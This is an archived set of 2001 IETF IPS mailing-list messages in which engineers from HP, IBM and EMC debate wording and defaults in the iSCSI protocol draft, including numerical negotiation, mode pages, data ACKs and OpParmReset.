Precedence: bulk Matthew. That is perfectly legitimate. But forcing every pair to do so is not needed. Julo "BURBRIDGE,MATTH EW To: Julian Satran/Haifa/IBM@IBMIL, ips@ece.cmu.edu (HP-UnitedKingdo cc: m,ex2)" Subject: RE: iscsi : numerical negotiation wording 27-09-01 15:37 Please respond to "BURBRIDGE,MATTH EW (HP-UnitedKingdo m,ex2)" Hi Julian, I and my collegues have always assumed that the answer to an offered parameter was the result of the negoitated value. This seems the most appropriate behaviour as it confirms the value that both parties will use (it certainly helps in debugging). Cheers Matthew -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Thursday, September 27, 2001 9:55 AM To: ips@ece.cmu.edu Subject: Re: iscsi : numerical negotiation wording is ambiguous Santosh, I understood what you wording means but I am not sure that we want all the side-effects. The negotiation as defined now allows both parties requester or responder to state their wishes and the LAW insatiate the result in both. Your wording means that the responder selects the value according to the rule. What if the responder is either a rogue or just a simple minded target. Let me give an example: I am building a simple minded target that has an 8K buffer and says always (has it wired) DataPDULength=8192 in its first Login response (that is his buffer). If an initiator sends him as a "offer" or as a "responder" 16192 then with the current wording things are fine and both will have settled to 8192. If the initiator sends an offer of 4096 and the target gives his (only thing he knows) 8192 it is still fine - both select 4096. With your wording some of the negotiations will fail since you assume that the rule should be expressed in building the answer and not in selecting the result. In the end in both case you have to do selections at both target and initiator but the current rule enables simple-minded prewired messages while your does not (the responder message defines the selection and the offerer has to check it). Sorry for this long message for such a simple question. Julo Santosh Rao cc: Sent by: Subject: Re: iscsi : numerical negotiation wording owner-ips@ece. is ambiguous cmu.edu 26-09-01 23:16 Please respond to Santosh Rao Julian, What is the responding party supposed to offer ? Is it supposed to determine the result of the negotiation (higher or lower value, as the case may be) and send that as its response ? Or, is it supposed to send in its numerical value and the initiator picks the higher or lower of the 2 ? This does'nt come across clear enough in the definition and is open to mis-interpretation. Please see the suggested re-word in its place. Thanks, Santosh Julian Satran wrote: > Santosh, > > I am missing something. The rule states what value both parties should have > after both have seen the two values. > Obviously we assume that no error occurs and the responder value is seen y > the offering party or the negotiation fails. > > What exactly is ambiguous about it? > > Julo > > > Santosh Rao > hp.com> cc: > Sent by: Subject: iscsi : numerical negotiation wording is > owner-ips@ece. ambiguous > cmu.edu > > > 26-09-01 19:59 > Please respond > to Santosh Rao > > > > Julian & All, > > The definition of numerical negotiation in Section 2.2.4 of Rev 7.97 > reads : > > "In numerical negotiations, the offering and responding party state > a numerical value. The result of the negotiation is key dependent; > frequently the lower or the higher of the two values is used." > > The above definition is ambiguous, since it does not specify whether it is > the originator or the responder that computes the result of the > negotiation. > > i.e. Is it the responsibility of the target to pick the higher or lower of > the 2 values and respond with the result of the negotiation ? > > OR : > Is it the originator that has to pick the result of the negotiation > based on the key it sent and the key it got back ? > > I would suggest that the wording be clarified to indicate that the > responder picks the result of the negotiation and sends this result back > in its response for this key. > > Perhaps, some re-wording along the following lines may be in order : > > "In numerical negotiations, the offering party states a numerical > value, and the responding party states the result (operational value) > after the negotiation. The result of the negotiation is key > dependent; responder determines it based on the lower or the higher > of the two values - offering party's value, and what the responder > can support." > > Comments ? > > Regards, > Santosh > > -- > ################################# > Santosh Rao > Software Design Engineer, > HP, Cupertino. > email : santoshr@cup.hp.com > Phone : 408-447-3751 > ################################# #### santoshr.vcf has been removed from this note on September 27 2001 by Julian Satran From owner-ips@ece.cmu.edu Thu Sep 27 13:34:25 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA08250 for ; Thu, 27 Sep 2001 13:34:25 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8RGLIq12837 for ips-outgoing; Thu, 27 Sep 2001 12:21:18 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel10.hp.com (palrel10.hp.com [156.153.255.245]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8RGLGP12832 for ; Thu, 27 Sep 2001 12:21:16 -0400 (EDT) Received: from hpcuhe.cup.hp.com (hpcuhe.cup.hp.com [15.0.80.203]) by palrel10.hp.com (Postfix) with ESMTP id 2663C1F846; Thu, 27 Sep 2001 09:21:06 -0700 (PDT) Received: from cup.hp.com (santoshr@hpindhhm.cup.hp.com [15.8.80.197]) by hpcuhe.cup.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) with ESMTP id JAA11096; Thu, 27 Sep 2001 09:20:56 -0700 (PDT) Message-ID: <3BB3537B.C548A3EF@cup.hp.com> Date: Thu, 27 Sep 2001 09:27:39 -0700 From: Santosh Rao Organization: Hewlett Packard, Cupertino. X-Mailer: Mozilla 4.7 [en] (X11; U; HP-UX B.11.00 9000/778) X-Accept-Language: en MIME-Version: 1.0 To: Julian Satran Cc: ips@ece.cmu.edu Subject: Re: iscsi : numerical negotiation wording is ambiguous References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Hi Julian, I think a number of developers [like Matthew B stated it] would be thinking it is the alternate method that is to be used. The reason being that mass storage negotiation [FC PLOGI, FC PRLI, SCSI Mode Select, etc] expect the responder to return the result of the negotiation and the initiator only parses the response to determine if the result of the negotiation is acceptable to it. The above approach is a familiar one for most mass storage folks, involves less code [only 1 side doing the determination of the result], is a simpler method, allows less room for error and eases debugging. I request that the above proposal be considered and the wording of the negotiation tightened to allow no room for any mis-interpretation. Thanks, Santosh Julian Satran wrote: > > Santosh, > > I understood what you wording means but I am not sure that we want all the > side-effects. > The negotiation as defined now allows both parties requester or responder > to state their wishes and the LAW > insatiate the result in both. > > Your wording means that the responder selects the value according to the > rule. What if the responder is either a rogue or > just a simple minded target. Let me give an example: > > I am building a simple minded target that has an 8K buffer and says always > (has it wired) DataPDULength=8192 > in its first Login response (that is his buffer). > > If an initiator sends him as a "offer" or as a "responder" 16192 then with > the current wording things are fine and both will > have settled to 8192. > > If the initiator sends an offer of 4096 and the target gives his (only > thing he knows) 8192 it is still fine - both select 4096. > > With your wording some of the negotiations will fail since you assume that > the rule should be expressed in building the answer and not in selecting > the result. > > In the end in both case you have to do selections at both target and > initiator but the current rule enables simple-minded prewired messages > while your does not (the responder message defines the selection and the > offerer has to check it). > > Sorry for this long message for such a simple question. > > Julo > > > Santosh Rao > hp.com> cc: > Sent by: Subject: Re: iscsi : numerical negotiation wording > owner-ips@ece. is ambiguous > cmu.edu > > > 26-09-01 23:16 > Please respond > to Santosh Rao > > > > Julian, > > What is the responding party supposed to offer ? Is it supposed to > determine the result of the > negotiation (higher or lower value, as the case may be) and send that as > its response ? > > Or, is it supposed to send in its numerical value and the initiator picks > the higher or lower of > the 2 ? > > This does'nt come across clear enough in the definition and is open to > mis-interpretation. Please > see the suggested re-word in its place. > > Thanks, > Santosh > > Julian Satran wrote: > > > Santosh, > > > > I am missing something. The rule states what value both parties should > have > > after both have seen the two values. > > Obviously we assume that no error occurs and the responder value is seen > y > > the offering party or the negotiation fails. > > > > What exactly is ambiguous about it? > > > > Julo > > > > > > Santosh Rao > > > hp.com> cc: > > Sent by: Subject: iscsi : numerical > negotiation wording is > > owner-ips@ece. ambiguous > > cmu.edu > > > > > > 26-09-01 19:59 > > Please respond > > to Santosh Rao > > > > > > > > Julian & All, > > > > The definition of numerical negotiation in Section 2.2.4 of Rev 7.97 > > reads : > > > > "In numerical negotiations, the offering and responding party state > > a numerical value. The result of the negotiation is key dependent; > > frequently the lower or the higher of the two values is used." > > > > The above definition is ambiguous, since it does not specify whether it > is > > the originator or the responder that computes the result of the > > negotiation. > > > > i.e. Is it the responsibility of the target to pick the higher or lower > of > > the 2 values and respond with the result of the negotiation ? > > > > OR : > > Is it the originator that has to pick the result of the negotiation > > based on the key it sent and the key it got back ? > > > > I would suggest that the wording be clarified to indicate that the > > responder picks the result of the negotiation and sends this result back > > in its response for this key. > > > > Perhaps, some re-wording along the following lines may be in order : > > > > "In numerical negotiations, the offering party states a numerical > > value, and the responding party states the result (operational value) > > after the negotiation. The result of the negotiation is key > > dependent; responder determines it based on the lower or the higher > > of the two values - offering party's value, and what the responder > > can support." > > > > Comments ? > > > > Regards, > > Santosh > > > > -- > > ################################# > > Santosh Rao > > Software Design Engineer, > > HP, Cupertino. > > email : santoshr@cup.hp.com > > Phone : 408-447-3751 > > ################################# > > #### santoshr.vcf has been removed from this note on September 27 2001 by > Julian Satran -- ################################## Santosh Rao Software Design Engineer, HP-UX iSCSI Driver Team, Hewlett Packard, Cupertino. email : santoshr@cup.hp.com Phone : 408-447-3751 ################################## From owner-ips@ece.cmu.edu Thu Sep 27 13:35:43 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA08345 for ; Thu, 27 Sep 2001 13:35:43 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8RGlMT14687 for ips-outgoing; Thu, 27 Sep 2001 12:47:22 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-3.de.ibm.com (d12lmsgate-3.de.ibm.com [195.212.91.201]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8RGlJP14674 for ; Thu, 27 Sep 2001 12:47:19 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate-3.de.ibm.com (1.0.0) with ESMTP id SAA98978 for ; Thu, 27 Sep 2001 18:47:09 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8RGl8r265560 for ; Thu, 27 Sep 2001 18:47:08 +0200 Subject: Re: iscsi : default iscsi mode page settings - Consensus call To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Thu, 27 Sep 2001 19:47:21 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 27/09/2001 19:47:08 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Is the disconnect reconnect page usually initiator specific? Julo Santosh Rao cc: ips@ece.cmu.edu Sent by: Subject: Re: iscsi : default iscsi mode page santoshr@cup.h settings - Consensus call p.com 27-09-01 18:35 Please respond to Santosh Rao Julian, As we've discussed earlier, SCSI level software looking at transport specific mode pages MUST be aware of the format of those mode pages for the given transport. (For example : The format of the disconnect-reconnect mode page is different for SPI-4, FCP-2, SRP & iSCSI). Thus, any SCSI level software needs to first be upgraded when new SCSI transports come along, before it can understand the mode page formats of that transport. By declaring the iscsi mode page fields as reserved, you would not be breaking any legacy software. There is no legacy issue here. Regards, Santosh Julian Satran wrote: > > Santosh, > > You ignore the fact that there might be SCSI level software that may want > those values. > > Julo > > > Santosh Rao > , > hp.com> ips@ece.cmu.edu > Sent by: cc: > owner-ips@ece. Subject: Re: iscsi : default iscsi mode page > cmu.edu settings - Consensus call > > > 27-09-01 04:02 > Please respond > to Santosh Rao > > > > David, > > By specifying that these values be read-only in mode pages, we have > retained some of the complexity that lies in having to go across layers > to communicate the defaults to the scsi layer, or alternatively to have > the target's iscsi layer snoop for such mode sense commands and respond > to them. > > I would prefer to see iscsi declare these fields as reserved in the > iscsi definition of the mode pages [like is done in SPI-4 for > FirstBurstSize] so that this issue does not arise at all. > > Thanks, > Santosh > > > > If some aspect of the > > > SCSI protocol requires that they be readable via a mode page, > > > the mode page values will be read-only. > > #### santoshr.vcf has been removed from this note on September 27 2001 by > Julian Satran -- ################################## Santosh Rao Software Design Engineer, HP-UX iSCSI Driver Team, Hewlett Packard, Cupertino. email : santoshr@cup.hp.com Phone : 408-447-3751 ################################## From owner-ips@ece.cmu.edu Thu Sep 27 13:35:51 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA08358 for ; Thu, 27 Sep 2001 13:35:46 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8RGJjC12737 for ips-outgoing; Thu, 27 Sep 2001 12:19:45 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-3.de.ibm.com (d12lmsgate-3.de.ibm.com [195.212.91.201]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8RGJhP12732 for ; Thu, 27 Sep 2001 12:19:43 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate-3.de.ibm.com (1.0.0) with ESMTP id SAA57316 for ; Thu, 27 Sep 2001 18:19:36 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8RGJZ4247420 for ; Thu, 27 Sep 2001 18:19:35 +0200 Subject: RE: iscsi : Data ACKs already been included into draft (?) To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Thu, 27 Sep 2001 19:19:54 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 27/09/2001 19:19:34 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk David, I did not raise the issue at all - it was raised by some candid souls that are as concerned as I am about the target resources and that belong to the same organization that the most vocal opponent of data-ack belongs to; that lead me to the wrong assumption that he might have "seen the light". As such I've made 2 changes: a minor change in format (SNACK has a type field and not a single bit); that is good for extensions and will stay the addition of data ack (that is clearly distinguishable text) that might go if the list wants so Julo Black_David@em c.com To: Julian Satran/Haifa/IBM@IBMIL, ips@ece.cmu.edu cc: 27-09-01 15:09 Subject: RE: iscsi : Data ACKs already been Please respond included into draft (?) to Black_David Julian, Given that you've described the 07-9x versions of the draft on your web site as near-final versions of the -08 draft to be submitted, I think it's fair to expect that they represent the rough consensus of the WG and not contain speculative additions. In other words - Santosh is right, that text should not be in 07-97 and needs to be removed or moved to a version that's clearly marked as not being on the main course of editing to produce the -08 version. Thanks, --David > -----Original Message----- > From: Julian Satran [mailto:Julian_Satran@il.ibm.com] > Sent: Wednesday, September 26, 2001 4:02 PM > To: Santosh Rao > Cc: Black_David@emc.com; ips@ece.cmu.edu > Subject: Re: iscsi : Data ACKs already been included into draft (?) > > > Santosh, > > What you see is an editor version and not the submission. I > did show only > how it will look. > The difference is in the range of 10 lines (probably even less in code > lines :-)). > No need to panic and shout. > > Julo > > > > > Santosh Rao > > ips@ece.cmu.edu (ips) > hp.com> cc: > Black_David@emc.com (David Black) > Sent by: Subject: iscsi : > Data ACKs already been included > owner-ips@ece. into draft (?) > > cmu.edu > > > > > > 26-09-01 21:21 > > Please respond > > to Santosh Rao > > > > > > > > > Julian & All, > > It looks like the Data ACK scheme you proposed has already > been included > into the Rev 7.97 draft !(?) I don't recollect the group > having reached > consensus on re-inclusion of this feature, nor consensus on > the mechanism > used for the data ack. Given this, why is the change already > present in > the draft ? > > I would like to request that any changes to the draft be > first posted to > the reflector for review and only upon its acceptance on the reflector > should it be included in the draft. Incorporating changes > into the draft > prior to their acceptance on the reflector is only going to > slow down the > stabilization of the draft further. > > At this late stage in the draft, every sentence modified must > be subject > to review prior to inclusion in the draft. > > Thanks, > Santosh > > -- > ################################# > Santosh Rao > Software Design Engineer, > HP, Cupertino. > email : santoshr@cup.hp.com > Phone : 408-447-3751 > ################################# > > > > From owner-ips@ece.cmu.edu Thu Sep 27 13:39:08 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA08539 for ; Thu, 27 Sep 2001 13:39:08 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8RGoBA14896 for ips-outgoing; Thu, 27 Sep 2001 12:50:11 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate.de.ibm.com (d12lmsgate.de.ibm.com [195.212.91.199]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8RGo8P14888 for ; Thu, 27 Sep 2001 12:50:08 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate.de.ibm.com (1.0.0) with ESMTP id SAA136610 for ; Thu, 27 Sep 2001 18:50:01 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8RGo04124752 for ; Thu, 27 Sep 2001 18:50:01 +0200 Subject: RE: iscsi : iscsi parameter default values To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Thu, 27 Sep 2001 19:50:21 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 27/09/2001 19:50:00 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk The one that I have trouble living with is ImmediateData. This is important for low-end desktops and hardly matters for large boxes. As such I would suggest it stays as yes. Julo "Eddy Quicksall" To: "'Santosh Rao'" , iaone.net> cc: Sent by: Subject: RE: iscsi : iscsi parameter default values owner-ips@ece.c mu.edu 27-09-01 17:22 Please respond to "Eddy Quicksall" I like your defaults below. But, section 5 says: The initial Login request MUST include the InitiatorName and SessionType key=value pairs. Since SessionType is REQUIRED, naming a default would imply a possible typo in the spec. Eddy -----Original Message----- From: Santosh Rao [mailto:santoshr@cup.hp.com] Sent: Wednesday, September 26, 2001 10:29 PM To: ips@ece.cmu.edu Subject: iscsi : iscsi parameter default values All, With the issue of mode page vs. login keys having [almost] drawn to a close, I would like to raise the below issues again, on the subject of default values for login keys and other iscsi parameters : * In keeping with traditional use of scsi mode pages, iscsi should not specify any default settings for any mode pages that continue to exist for iscsi. "Default values" for mode pages are target specific and should not be bound to the protocol draft. * MORE IMPORTANTLY, I read the default for EMDP as being set to 1 :-< This implies that targets must be always prepared to deal with out of order data and initiators must be prepared to deal with out of order data, unless the initiator performs a mode select to disable it. [which defeats all the previous advantages gained thru mandating use of login keys for other negotiations.]. A default, if it were to exist, should be 0. (in-order, by default). * Conservative specification of defaults for login keys along the following lines : MaxConnections = 1 FMarker = "no" InitialR2T = "yes" BidiInitialR2T = "yes" ImmediateData = "no" DataPDULength = 16 MaxOutstandingR2T = 1 DataPDUInOrder = "yes" ErrorRecoveryLevel = 0 SessionType = "normal" * Should the iscsi protocol require a "Lun Control Mode Page"? IOW, is an EnableCRN bit required at the transport layer ? If the device server capability is to be negotiated , I suggest this bit be moved to a SCSI ULP Mode Page such as the "Control Mode Page", through a T10 change as a part of the SCSI changes being driven by iscsi. Comments ? Thanks, Santosh Santosh Rao wrote: > There are the separate issues of : > > * iscsi's specification of defaults for its mode pages which is not in line with mode page > usage. This impacts the target's ability to enforce values other than the protocol > specified default, if the initiator were to not use mode sense/select. > > * default settings for login keys. > > * Is there a need for the "LUN Control Mode Page" and whether "Enable CRN" should be in a > transport specific mode page ? > > which need to be driven to closure as well. > > Regards, > Santosh From owner-ips@ece.cmu.edu Thu Sep 27 13:40:23 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA08605 for ; Thu, 27 Sep 2001 13:40:22 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8RGTKY13479 for ips-outgoing; Thu, 27 Sep 2001 12:29:20 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel13.hp.com (palrel13.hp.com [156.153.255.238]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8RGTIP13474 for ; Thu, 27 Sep 2001 12:29:18 -0400 (EDT) Received: from hpcuhe.cup.hp.com (hpcuhe.cup.hp.com [15.0.80.203]) by palrel13.hp.com (Postfix) with ESMTP id 37C141F597; Thu, 27 Sep 2001 09:29:12 -0700 (PDT) Received: from cup.hp.com (santoshr@hpindhhm.cup.hp.com [15.8.80.197]) by hpcuhe.cup.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) with ESMTP id JAA11475; Thu, 27 Sep 2001 09:29:07 -0700 (PDT) Message-ID: <3BB35566.D1194C8@cup.hp.com> Date: Thu, 27 Sep 2001 09:35:50 -0700 From: Santosh Rao Organization: Hewlett Packard, Cupertino. X-Mailer: Mozilla 4.7 [en] (X11; U; HP-UX B.11.00 9000/778) X-Accept-Language: en MIME-Version: 1.0 To: Julian Satran Cc: ips@ece.cmu.edu Subject: Re: iscsi : default iscsi mode page settings - Consensus call References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Julian, As we've discussed earlier, SCSI level software looking at transport specific mode pages MUST be aware of the format of those mode pages for the given transport. (For example : The format of the disconnect-reconnect mode page is different for SPI-4, FCP-2, SRP & iSCSI). Thus, any SCSI level software needs to first be upgraded when new SCSI transports come along, before it can understand the mode page formats of that transport. By declaring the iscsi mode page fields as reserved, you would not be breaking any legacy software. There is no legacy issue here. Regards, Santosh Julian Satran wrote: > > Santosh, > > You ignore the fact that there might be SCSI level software that may want > those values. > > Julo > > > Santosh Rao > , > hp.com> ips@ece.cmu.edu > Sent by: cc: > owner-ips@ece. Subject: Re: iscsi : default iscsi mode page > cmu.edu settings - Consensus call > > > 27-09-01 04:02 > Please respond > to Santosh Rao > > > > David, > > By specifying that these values be read-only in mode pages, we have > retained some of the complexity that lies in having to go across layers > to communicate the defaults to the scsi layer, or alternatively to have > the target's iscsi layer snoop for such mode sense commands and respond > to them. > > I would prefer to see iscsi declare these fields as reserved in the > iscsi definition of the mode pages [like is done in SPI-4 for > FirstBurstSize] so that this issue does not arise at all. > > Thanks, > Santosh > > > > If some aspect of the > > > SCSI protocol requires that they be readable via a mode page, > > > the mode page values will be read-only. > > #### santoshr.vcf has been removed from this note on September 27 2001 by > Julian Satran -- ################################## Santosh Rao Software Design Engineer, HP-UX iSCSI Driver Team, Hewlett Packard, Cupertino. email : santoshr@cup.hp.com Phone : 408-447-3751 ################################## From owner-ips@ece.cmu.edu Thu Sep 27 14:23:56 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA10219 for ; Thu, 27 Sep 2001 14:23:56 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8RHO2G17094 for ips-outgoing; Thu, 27 Sep 2001 13:24:02 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel12.hp.com (palrel12.hp.com [156.153.255.237]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8RHNxP17087 for ; Thu, 27 Sep 2001 13:24:00 -0400 (EDT) Received: from hpcuhe.cup.hp.com (hpcuhe.cup.hp.com [15.0.80.203]) by palrel12.hp.com (Postfix) with ESMTP id 2A6191F5FB for ; Thu, 27 Sep 2001 10:23:54 -0700 (PDT) Received: from cup.hp.com (santoshr@hpindhhm.cup.hp.com [15.8.80.197]) by hpcuhe.cup.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) with ESMTP id KAA15754 for ; Thu, 27 Sep 2001 10:23:49 -0700 (PDT) Message-ID: <3BB36237.3D1ED5DB@cup.hp.com> Date: Thu, 27 Sep 2001 10:30:31 -0700 From: Santosh Rao Organization: Hewlett Packard, Cupertino. X-Mailer: Mozilla 4.7 [en] (X11; U; HP-UX B.11.00 9000/778) X-Accept-Language: en MIME-Version: 1.0 To: IPS Reflector Subject: iscsi : task mgmt response codes. Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Hi Julian, A couple of comments on the task management response codes in Section 3.6 of Rev 7.97 : 1)I suggest that a 1-sentence description accompany the definition of each response code in all locations where response/status codes are defined. This helps clarify their usage, since the intended usage may not always be obvious from the response code itself. Ex : the usage of the following is not obvious from a reading of section 3.6 : 3 - Task still allegiant 4 - Task failover not supported 5 - Task in progress Where appropriate, a forward reference would also help, in cases such as "task still allegiant". 2) I suggest that a task management response code be added to indicate "Function Not Supported" to respond to task mgmt requests that the target may not support. (ex : target reset). Thanks, Santosh -- ################################## Santosh Rao Software Design Engineer, HP-UX iSCSI Driver Team, Hewlett Packard, Cupertino. email : santoshr@cup.hp.com Phone : 408-447-3751 ################################## From owner-ips@ece.cmu.edu Thu Sep 27 14:27:12 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA10297 for ; Thu, 27 Sep 2001 14:27:12 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8RGx0P15424 for ips-outgoing; Thu, 27 Sep 2001 12:59:00 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel10.hp.com (palrel10.hp.com [156.153.255.245]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8RGwuP15414 for ; Thu, 27 Sep 2001 12:58:57 -0400 (EDT) Received: from core.rose.hp.com (core.rose.hp.com [15.43.208.100]) by palrel10.hp.com (Postfix) with ESMTP id 8E9261F846 for ; Thu, 27 Sep 2001 09:58:50 -0700 (PDT) Received: from rose.hp.com (hpsil34.rose.hp.com [15.43.211.225]) by core.rose.hp.com with ESMTP (8.9.3 (PHNE_22672)/8.8.6 SMKit7.02) id KAA11584 for ; Thu, 27 Sep 2001 10:00:12 -0700 (PDT) Message-Id: <200109271700.KAA11584@core.rose.hp.com> Date: Thu, 27 Sep 2001 10:10:20 -0700 From: "Mallikarjun C." Reply-To: cbm@rose.hp.com Organization: Hewlett-Packard, Roseville X-Mailer: Mozilla 4.73 [en] (X11; U; HP-UX B.10.20 9000/715) X-Accept-Language: en MIME-Version: 1.0 To: ips Subject: Re: iscsi : OpParmreset References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Julian, > >From your answer it looks like you agree that we need a way to reset/abort > a negotiation Sure, I agree we need a mechanism. >but you object to the OpParmReset. Not specifically. I was only concerned that there seem to be several ways of aborting/terminating a negotiation. I can count three mechanisms for initiator - a) Abort Task b) Empty text command with TTT=0xffffffff c) OpParmReset And two for the target - a) Timing out the bookmark state, and Reject ("no bookmark for this ITT" - 0x09) the TTT. b) OpParmReset I suggest that we retain only the option-(a)'s for both, and drop the rest. For this to happen, the case (b) for initiator should probably be a Reject("Illegal bookmark") - since as you say, it does seem ambiguous. Regards. -- Mallikarjun Mallikarjun Chadalapaka Networked Storage Architecture Network Storage Solutions Organization MS 5668 Hewlett-Packard, Roseville. cbm@rose.hp.com Julian Satran wrote: > > Mallikarjun, > > >From your answer it looks like you agree that we need a way to reset/abort > a negotiation but you object to the OpParmReset. > Abort task has the disadvantage that the target can't issue it (so that > the target has no means to force an abort). > An empty task request or response is ambiguous. > We could introduce a binary field meaning goon/abort? Is that better that > OpParmReset (by which we can always introduce a richer semantics - like > rest to default). > > Julo > > > "Mallikarjun > C." To: ips > om> Subject: Re: iscsi : OpParmreset > Sent by: > owner-ips@ece. > cmu.edu > > > 27-09-01 03:26 > Please respond > to cbm > > > > Julian, > > I assume you mean terminate/end a negotiation by "rest a > negotiaion". If so, I can see two more ways to do the same - > - aborting the task (changes from rev06 to rev07), > - sending an empty text command with TTT=0xffffffff. > > Either should undo the results of the partial negotiation > in FFP, as we described in "Negotiation failures" section. > During the login, as Matthew pointed out, we don't seem to > need OpParmReset either. > > Can you please confirm if you see the same choices? If so, > I do not see the need for OpParmReset. > > Regards. > -- > Mallikarjun > > Mallikarjun Chadalapaka > Networked Storage Architecture > Network Storage Solutions Organization > MS 5668 Hewlett-Packard, Roseville. > cbm@rose.hp.com > > Julian Satran wrote: > > > > OpParmReset is the only way we have now to rest a negotiation in FFP > > (public or vendor specific). > > The restriction about R2T is related to a deadlock that can result when > you > > change from no to yes. > > > > Julo > > > > > > "BURBRIDGE,MATTH > > EW To: Julian > Satran/Haifa/IBM@IBMIL, > > (HP-UnitedKingdo ips@ece.cmu.edu > > m,ex2)" cc: > > OpParmreset > > ge@hp.com> > > Sent by: > > owner-ips@ece.cm > > u.edu > > > > > > 24-09-01 13:36 > > Please respond > > to > > "BURBRIDGE,MATTH > > EW > > (HP-UnitedKingdo > > m,ex2)" > > > > > > > > Is OpParmReset still needed now that there is no operational parameter > > negotiation until after the security phase? Why would both sides > > negoitiate > > a set of parameters only for one side to reset. Surely if one side > during > > login is not happy then it should close the connection. In FFP, as there > > is > > no way to re-negotiate (after the OpParmReset) again if one side is not > > happy then should it not close the connection and start a new one. > > > > Also if in FFP, if OpParmReset is sent then does it just reset those > > parameters that can be negoiated during FFP and not those restricted to > the > > login phase? If so would it be easier to negotiate those parameters > using > > the explicit name (e.g. InitialR2T) and remove the restriction of > 